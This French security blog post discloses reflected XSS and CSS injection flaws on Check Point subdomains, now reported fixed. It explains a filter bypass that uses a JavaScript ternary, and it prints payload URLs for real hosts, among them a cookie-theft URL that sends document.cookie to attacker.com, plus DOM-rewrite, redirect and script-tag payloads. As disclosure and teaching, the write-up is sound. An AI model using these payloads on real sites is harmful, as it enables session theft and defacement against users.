Plusieurs sous-domaines de l’éditeur de solutions de sécurité CheckPoint sont vulnérables à des Cross-Site Scripting réfléchies / CSS injection.
Cet article illustre notamment un cas concret d’exploitation d’une RXSS en tant que paramètre d’appel d’une fonction JS, dont les virgules « , », les chevrons « < et > » ainsi que les parenthèses « ( et ) » sont filtrés.
Introduction
Check Point Software Technologies Ltd NASDAQ : CHKP est un fournisseur mondial de solutions de Sécurité du système d’information. Check Point est un pionnier des pare-feu avec FireWall et sa technologie brevetée « stateful inspection ». Aujourd’hui, la société développe, commercialise et supporte une large gamme de logiciels qui couvrent tous les aspects de la sécurité des technologies de l’information.
CheckPoint propose bon nombre de solutions et services de sécurité, notamment des Pare-feu, VPN, Appliances, Software Blade, IPS/IDS, sécurité du poste de travail, protection des données, administration des passerelles de sécurité.
Plusieurs sous-domaines de CheckPoint s’avèrent vulnérables à des injections arbitraires de code JavaScript (RXSS). Cet article fait un focus sur une injection particulière dans le système de recensement d’alertes / menaces / advisory de l’éditeur lui-même, qui malgré les filtres employés permet d’exécuter certaines instructions JavaScript.
Injection XSS au sein d’un paramètre de fonction JavaScript
Le « ThreatWiki » de CheckPoint est un sous-domaine de l’éditeur proposant un service online de recherche d’information à propos de malware référencés.
The ThreatWiki is an easy to use tool that lets you search and filter Check Point’s Malware Database. Filter by a category, type or risk level and search for a keyword or malware.
Ce service, disponible à l’URLsuivante, permet de consulter les détails d’une menace en identifiant celle-ci via le paramètre GET « oem » :
https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=1337
L’injection porte sur ce paramètre. Celui-ci est réinjecté dans le code source de la page au sein d’une chaîne de caractère passée en premier paramètre d’une fonction AJAX JavaScript composée de 3 arguments :
L’appel à la fonction « com_jenkov_prizetags_ajaxReloadPage() » peut donc être altéré pour détourner l’exécution normale du code JavaScript.
Contraintes
Seulement, les caractères « , », « <« , « > » ou encore « ( » et « ) » sont filtrés. Il n’est donc pas possible de :
- Clôturer les balises scripts pour définir du JavaScript arbitraire
- Ajouter un nouveau paramètre à la fonction en commentant les autres
- Sortir de l’appel de la fonction pour injecter d’autres instructions arbitraires
- Appeler une quelconque fonction JavaScript
L’injection est donc bridée au premier paramètre d’appel de la fonction « com_jenkov_prizetags_ajaxReloadPage() », qui est une string.
com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=[INJECTION_HERE]&filter=0&parentPage=public", "main", 12500000);
Les caractères « + » et les doubles-quotes ne sont pas filtrées. Ainsi, il est possible de couper la chaîne pour y concaténer d’autres instructions.
Fonction com_jenkov_prizetags_ajaxReloadPage :
function com_jenkov_prizetags_ajaxReloadPage(url,element,time){aDate=new Date();aDateString=aDate.getYear()+"_"+aDate.getMonth()+"_"+aDate.getDate()+"_";aDateString+=aDate.getHours()+"_"+aDate.getMinutes()+"_"+aDate.getSeconds();forceRefreshParameter="com_jenkov_prizetags_ajax_refresh="+Math.random()*1000;forceRefreshParameter+="&com_jenkov_prizetags_ajax_time="+aDateString;com_jenkov_prizetags_ajaxLoadPage(url,element);setTimeout("com_jenkov_prizetags_ajaxReloadPage('"+url+"', '"+element+"', "+time+")",time);}
Exécution de code : vol de cookie
Comment ajouter une couche d’abstraction lors d’un appel à une fonction, pour exécuter un autre bloc de code JavaScript?
La méthode n’est pas si simple. J’ai pu générer des syntaxes modifiant le DOM de la page sans pour autant pouvoir appeler des fonctions. Il m’a également été possible de rediriger le navigateur vers un site arbitraire pour simuler un vol de cookie. Mais hélas pas d’exécution de code JavaScript permettant de générer une alerte, charger un fichier JS distant, ou encore appeler des fonctions.
Je rappelle que dans ce contexte, les parenthèses sont filtrées, donc aucun appel à des fonctions JavaScript tierces n’est possible telles alert() ou eval().
En effectuant de nombreux tests et vérifiant la validité de la syntaxe JavaScript dans la console, on peut générer des payloads tels que :
Url avec payload :
https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388" %2B "1337" %2B "
Appel de fonction généré :
com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + "1337" + "&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000);
La concaténation de valeur (1337) est fonctionnel.
URL de tests avec une variable :
https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388" %2B document.location %2B "
Appel de fonction généré :
com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + document.location + "&filter=0&parentPage=public&;indicator=null&type=null&filemd5=null", "main", 12500000);
La concaténation de variable également ( dans l’exemple : « document.location »), tant que celle-ci retourne une valeur de type String pour garder une cohérence d’exécution et ne pas engendrer d’erreur dans la fonction.
Comment affecter une nouvelle valeur à une variable dans ce contexte, par exemple pour écraser le « document.location » afin de forcer une redirection de l’utilisateur vers un site tiers?
Une telle syntaxe n’est hélas pas fonctionnelle :
https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388" %2B document.location="http://asafety.fr" %2B "
Appel de fonction généré :
com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + document.location="http://asafety.fr" + "&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000);
Une affectation de variable au sein d’une concaténation de string, sans définir de bloc via des parenthèses, engendre une erreur d’interprétation dans le moteur JavaScript.
L’idée est d’employer la forme ternaire de conditionnement JavaScript, pour apporter un niveau d’abstraction du code supplémentaire :
https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388" %2B 1==2 ? 0 : location="http://asafety.fr/" %2B "
Appel de fonction généré :
com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + 1==2 ? 0 : location="http://asafety.fr/" + "&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000);
On en conclu qu’il est possible d’abstraire de l’exécution de code au sein d’une string via une concaténation de forme ternaire. Toutefois, dans notre contexte, les parenthèses n’étant pas utilisable, il n’est pas possible de générer une alerte :
https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388" %2B 1==2 ? 0 : alert(0) %2B "
Si l’on peut redéfinir le « document.location » à partir du contexte du site vulnérable, il est donc possible de capturer le cookie de ce site pour l’envoyer sur un site tiers contrôlé par l’assaillant :
https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388"%2B1==1 ? 0 : location="http://www.attacker.com/cook.php?x="%2Bdocument.cookie%2B"UNUSED_AFTER_THIS%23
Appel de fonction généré :
com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + 1==2 ? 0 : location="http://www.attacker.com/cook.php?x="+document.cookie + "UNUSED_AFTER_THIS&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000);
Si l’on peut redéfinir le « document.location » à partir du contexte du site vulnérable, il est donc possible de capturer le cookie de ce site pour l’envoyer sur un site tiers contrôlé par l’assaillant.
Exécution de code : modification du DOM (fake defaced)
Mon traditionnel « fake defacement » d’illustration d’une découverte d’une XSS, comme utilisé au sein de cet article, n’est hélas pas applicable dans le cas présent. En effet, il ne nous est pas possible de charger un script JS distant, ni d’appeler des fonctions JavaScript.
Toutefois, en continuant sur le principe de réécriture de variable JavaScript, le DOM peut être altéré en utilisant des objets tels « document.body.outerHTML » :
https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388"%2B1==1 ? 0 : document.body.outerHTML="Yann CAM | Security Consultant @ASafety - www.synetis.com ------"%2B"
Appel de fonction généré :
com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + 1==2 ? 0 : document.body.outerHTML="Yann CAM | Security Consultant @ASafety - www.synetis.com ------" + "&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000);
L’injection réalisée dans le DOM n’est pas interprétée à la volée par le navigateur. Le chargement d’un contenu HTML ou JavaScript n’est hélas pas fonctionnel :
Tentative de chargement HTML ou JS dans le DOM :
https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388"%2B1==1 ? 0 : document.body.innerHTML="<h1>Test HTML</h1><img src=x onerror=alert(0) />"%2B"
En conclusion d’une telle injection
Si une injection XSS est localisée en tant que paramètre d’un appel à une fonction JavaScript, et que les filtres vous empêche de sortir de cette fonction, alors l’usage de la forme ternaire permet plusieurs actions d’exploitation telles que :
- La modification du DOM (sous contrainte)
- La redirection de l’utilisateur vers un site arbitraire (telle une vulnérabilité Open-Redirect)
- Le vol de cookie de l’utilisateur
Si vous connaissez d’autres vecteurs d’exploitation, n’hésitez pas à m’en faire part 🙂 !
CSS injection sur le portail de support
Un autre sous-domaine de l’éditeur CheckPoint, celui du centre de support, est également vulnérable à une injection arbitraire de code CSS sur un champ de formulmaire de type « hidden ».
Transformer une injection CSS en injection JavaScript (XSS) sur des champs cachés est une opération délicate, particulièrement avec les protections actuelles des navigateurs. Il existe néanmoins plusieurs méthodes affectant certains types de navigateurs et versions, d’où le caractère critique des CSS injection via les attributs « style ».
Celle-ci s’illustre de la sorte :
https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doSwichtab=&js_peid=P-114a7ba5fd7-10001&tab=Documentation%20style=background:url(https://www.asafety.fr/images/logo.png)
RXSS classique sur le portail d’embauche
Enfin, pour en revenir aux classiques, une XSS réfléchie est présente sur le sous-domaine d’embauche de l’éditeur. Ce vecteur exploite la variable GET « country_code » lors de la consultation d’une offre d’emploi de CheckPoint :
https://careers.checkpoint.com/careers/index.php?m=joborders&a=show&jobOrderID=2369&country_code=US"><script>alert(/RXSS - Yann CAM | Security Consultant @ASafety - www.synetis.com/);</script><a href="
Rendu :
Rendu au niveau du code source :
Notification et conclusion
Les équipes techniques (et commerciale, à défaut d’avoir une réponse) de CheckPoint ont été contactées quant à ces vulnérabilités début 2015. Après presque un an sans retour et après une relance restée muette, la RXSS et l’injection CSS ont finalement été corrigées.
Le caractère atypique de l’injection JavaScript sur le portail « threatWiki » démontre au sein de cet article quelques techniques d’exploitation fonctionnelles via la forme ternaire de conditionnement.
A noter qu’à l’instant présent de cet article, les différents sites / portails de l’éditeur CheckPoint semblent rencontrer quelques soucis de chargement (ressources externes inaccessibles JS, CSS, images…).
Pour terminer ce retour d’expérience, n’hésitez pas à m’indiquer si d’autres techniques d’exploitation seraient fonctionnelle au sein d’une injection de paramètre de fonction JavaScript. Je suis preneur de nouvelles pistes ! 🙂
Sources & ressources :